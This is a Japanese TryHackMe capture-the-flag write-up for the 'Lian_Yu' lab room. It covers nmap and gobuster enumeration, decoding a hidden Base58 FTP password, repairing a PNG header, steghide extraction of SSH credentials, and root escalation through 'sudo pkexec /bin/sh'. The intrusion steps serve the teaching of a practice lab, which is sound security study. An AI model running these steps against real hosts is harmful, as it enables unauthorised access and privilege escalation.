はじめに
本記事はTryHackMeのWriteupです。
RoomはLian_Yuで、Difficulty(難易度)はEasyです。
Lian_YuはDCコミックスのARROW/アローがコンセプトになっています。海外ドラマ化もされています。
課題についてフラグゲットは容易いですが、SSHで侵入するまでのプロセスについて、効率よく調査するためには合理的な思考が必要です。
以下、フラグゲットするまでの道のりについて、考え方やツールの使用方法について記載しています。
Find the Flags
はじめに偵察行為から行います。
偵察行為については以前書いたContent Discovery Webアプリケーションに対する偵察行為を参照。
ポートスキャン
空いているポートを特定するためにはNmapを使用します。
ここでは事前に用意したシェルを介してポートスキャンを実行しています。
$ ./nmap.sh <対象ホストのIPアドレス>
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 18:24 JST
Nmap scan report for 10.10.158.87
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
| 2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
| 256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_ 256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp open http Apache httpd
|_http-title: Purgatory
|_http-server-header: Apache
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34016/tcp status
| 100024 1 35231/udp6 status
| 100024 1 54382/udp status
|_ 100024 1 54531/tcp6 status
34016/tcp open status 1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.17 seconds
ポートスキャンの結果から21番、22番、80番等主要なサービスのポート番号が確認できます。
まずはftpを用いてanonymousでログインできるか確認します。
$ ftp <対象ホストのIPアドレス>
Connected to 10.10.158.87.
220 (vsFTPd 3.0.2)
Name (10.10.158.87:kali): anonymous
530 Permission denied.
ftp: Login failed
anonymousは許可されていないため、ログインできませんでした。
引き続き、偵察行為としてコンテンツの探索を行います。
コンテンツの探索
ブラウザを起動してHTTPでアクセスすると、Lian Yuの孤島が表示されています。
タイトルのLian Yuとは、ARROWの過去編の主な舞台となる、太平洋上の孤島のことです。
gobusterを実行してコンテンツを探索します。
$ gobuster dir --url http://<対象ホストのIPアドレス> --wordlist /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.158.87
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/14 18:32:54 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 199]
/.htaccess (Status: 403) [Size: 199]
/.htpasswd (Status: 403) [Size: 199]
/index.html (Status: 200) [Size: 2506]
/server-status (Status: 403) [Size: 199]
===============================================================
2022/08/14 18:34:56 Finished
===============================================================
/usr/share/wordlists/dirb/common.txt
のワードリストでは、特に期待した結果は得られませんでした。
何も検出できなかったため、/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
にワードリストを変更して実行します。
$ gobuster dir -u http://<対象ホストのIPアドレス> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.158.87
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/14 18:36:44 Starting gobuster in directory enumeration mode
===============================================================
/island (Status: 301) [Size: 235] [--> http://10.10.158.87/island/]
Progress: 16147 / 220561 (7.32%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/08/14 18:43:51 Finished
===============================================================
island
のパスを発見しました。
island
のパスにアクセスすると、The Code Word is:
の怪しいメッセージが表示されています。
HTMLのソースを見ると、隠されたテキストを発見しました。
ftpで使用可能なユーザーを特定しました。しかし、パスワードが分からないため、まだ調査が必要です。
Connected to 10.10.82.119.
220 (vsFTPd 3.0.2)
Name (10.10.82.119:kali): vigilante
331 Please specify the password.
Password:
引き続き、パスにisland
を付加して実行します。
$ gobuster dir -u http://<対象ホストのIPアドレス>/island -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.82.119/island
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/15 22:00:56 Starting gobuster in directory enumeration mode
===============================================================
/2100 (Status: 301) [Size: 240] [--> http://10.10.82.119/island/2100/]
Progress: 7938 / 220561 (3.60%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/08/15 22:04:29 Finished
===============================================================
2100
のパスを発見しました。
またもや2100
にアクセスするとメッセージが表示されていますが、めぼしいものはありません。
また、HTMLのソースを見ると、ヒントを発見しました。
コメント内容からまだ何かありそうです。
コメントで発見した.ticket
ファイルを探索するために、-x
オプションを付与して実行します。
gobuster dir -u http://<対象ホストのIPアドレス>/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .ticket
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.82.119/island/2100
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: ticket
[+] Timeout: 10s
===============================================================
2022/08/15 22:06:39 Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket (Status: 200) [Size: 71]
Progress: 21148 / 441122 (4.79%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/08/15 22:16:03 Finished
===============================================================
チケットのパスを発見しました。
アクセスすると、何か表示されています。どうやらトークンのようです。
このトークンはこのままでは使用することができません。
ルームのヒントを参考にCyberChefで解析します。
トークンはBase58で符号化されていました。正しいパスワードを取得します。
ステガノグラフィー
ステガノグラフィーは情報を隠蔽する技術です。
ステガノグラフィーについては以前書いたスペクトログラムとステガノグラフィーを参照。
ftpを用いてvigilante
ユーザーでログインします。
デコードしたトークンでログインできました。
$ ftp <対象ホストのIPアドレス>
Connected to 10.10.158.87.
220 (vsFTPd 3.0.2)
Name (10.10.158.87:kali): vigilante
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
以下のコマンドを実行して、ファイルを確認します。
ftp> ls -al
229 Entering Extended Passive Mode (|||51141|).
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 May 05 2020 .
drwxr-xr-x 4 0 0 4096 May 01 2020 ..
-rw------- 1 1001 1001 44 May 01 2020 .bash_history
-rw-r--r-- 1 1001 1001 220 May 01 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3515 May 01 2020 .bashrc
-rw-r--r-- 1 0 0 2483 May 01 2020 .other_user
-rw-r--r-- 1 1001 1001 675 May 01 2020 .profile
-rw-r--r-- 1 0 0 511720 May 01 2020 Leave_me_alone.png
-rw-r--r-- 1 0 0 549924 May 05 2020 Queen's_Gambit.png
-rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg
226 Directory send OK.
いくつかの画像ファイルがあります。
複数のファイルを一括でダウンロードするにはmget
コマンドを使用しますが、1ファイル毎に応答が求められます。
以下のコマンドを実行して、対話型ダウンロードモードを無効にします。
ftp> prompt
Interactive mode off.`
mget
コマンドを使用して一括でダウンロードします。
ftp> mget *
local: Leave_me_alone.png remote: Leave_me_alone.png
229 Entering Extended Passive Mode (|||23118|).
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
100% |***********************************************************************************************| 499 KiB 320.11 KiB/s 00:00 ETA
226 Transfer complete.
511720 bytes received in 00:01 (274.45 KiB/s)
local: Queen's_Gambit.png remote: Queen's_Gambit.png
229 Entering Extended Passive Mode (|||35907|).
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
100% |***********************************************************************************************| 537 KiB 343.59 KiB/s 00:00 ETA
226 Transfer complete.
549924 bytes received in 00:01 (294.71 KiB/s)
local: aa.jpg remote: aa.jpg
229 Entering Extended Passive Mode (|||54940|).
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
100% |***********************************************************************************************| 186 KiB 226.90 KiB/s 00:00 ETA
226 Transfer complete.
191026 bytes received in 00:01 (172.48 KiB/s)
これらファイルは全て画像ファイルですが、不審な点としてはLeave_me_alone.png
ファイルが開けません。
中身を確認すると、PNGファイルですがマジックナンバーが違います。そのため、ファイルが開けませんでした。
$ od -tx1c Leave_me_alone.png | head
0000000 58 45 6f ae 0a 0d 1a 0a 00 00 00 0d 49 48 44 52
X E o 256 \n \r 032 \n \0 \0 \0 \r I H D R
0000020 00 00 03 4d 00 00 01 db 08 06 00 00 00 17 a3 71
\0 \0 003 M \0 \0 001 333 \b 006 \0 \0 \0 027 243 q
0000040 5b 00 00 20 00 49 44 41 54 78 9c ac bd e9 7a 24
[ \0 \0 \0 I D A T x 234 254 275 351 z $
0000060 4b 6e 25 08 33 f7 e0 92 64 66 de a5 55 7b 69 34
K n % \b 3 367 340 222 d f 336 245 U { i 4
0000100 6a 69 54 fd f5 73 ce bc c0 3c 9c 7e b4 d4 a5 56
j i T 375 365 s 316 274 300 < 234 ~ 264 324 245 V
PNGの場合、ファイルシグネチャは89 50 4E 47 0D 0A 1A 0A
で固定です。
ファイルを修正するため、バイナリエディターを使用して編集します。
以下はhexeditorの例です。
hexeditor Leave_me_alone.png
復元した画像ファイルを開くと、パスワードが確認できました。
まだ謎があるため、更に画像ファイルを調査します。
steghideを使用して、他の画像ファイルからテキストファイルを抽出します。
$ steghide extract -sf aa.jpg
以下のファイルが抽出されました。
-rw-r--r-- 1 kali kali 596 8月 14 22:34 ss.zip
unzip
コマンドで展開します。
Archive: ss.zip
inflating: passwd.txt
inflating: shado
以下のファイルが抽出されました。
-rw-r--r-- 1 kali kali 333 4æ 28 2020 passwd.txt
中身を確認すると、SSHのパスワードになります。
これで全てのピースが揃いました。
権限昇格
最後はフラグをゲットする旅です。
user.txt
上記、passwd.txt
ファイルを基に、slade
ユーザーでsshでログインします。
$ ssh slade@<対象ホストのIPアドレス>
slade@10.10.158.87's password:
Way To SSH...
Loading.........Done..
Connecting To Lian_Yu Happy Hacking
██╗ ██╗███████╗██╗ ██████╗ ██████╗ ███╗ ███╗███████╗██████╗
██║ ██║██╔════╝██║ ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗ ██║ ██║ ██║ ██║██╔████╔██║█████╗ █████╔╝
██║███╗██║██╔══╝ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔═══╝
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗
██║ ██║██╔══██╗████╗ ██║ ╚██╗ ██╔╝██║ ██║
██║ ██║███████║██╔██╗ ██║ ╚████╔╝ ██║ ██║
██║ ██║██╔══██║██║╚██╗██║ ╚██╔╝ ██║ ██║
███████╗██║██║ ██║██║ ╚████║███████╗██║ ╚██████╔╝
╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═════╝ #
作業しやすいようにalias
を設定します。
slade@LianYu:~$ alias ll='ls -l'
ファイルを確認します。
slade@LianYu:~$ ll
ユーザーファイルを確認しました。
total 4
-r-------- 1 slade slade 63 May 1 2020 user.txt
root.txt
特権を取得するため、以下のコマンドを実行して確認します。
slade@LianYu:~$ sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User slade may run the following commands on LianYu:
(root) PASSWD: /usr/bin/pkexec
pkexec
コマンドが確認できました。
GTFOBinsを使用して脆弱性を探すと、sudo
の脆弱性が確認できます。
以下のコマンドを実行して、管理者権限を取得します。
slade@LianYu:~$ sudo pkexec /bin/sh
rootユーザーに昇格しました。
# id
uid=0(root) gid=0(root) groups=0(root)
おわりに
以上、Lian_YuのWriteupでした。
ポイントはメッセージを参考にしながら、怪しいディレクトリを見つけたらブルートフォースで効率的に探索することです。
ARROWは海外ドラマを見ていたので、また見たいと思いました。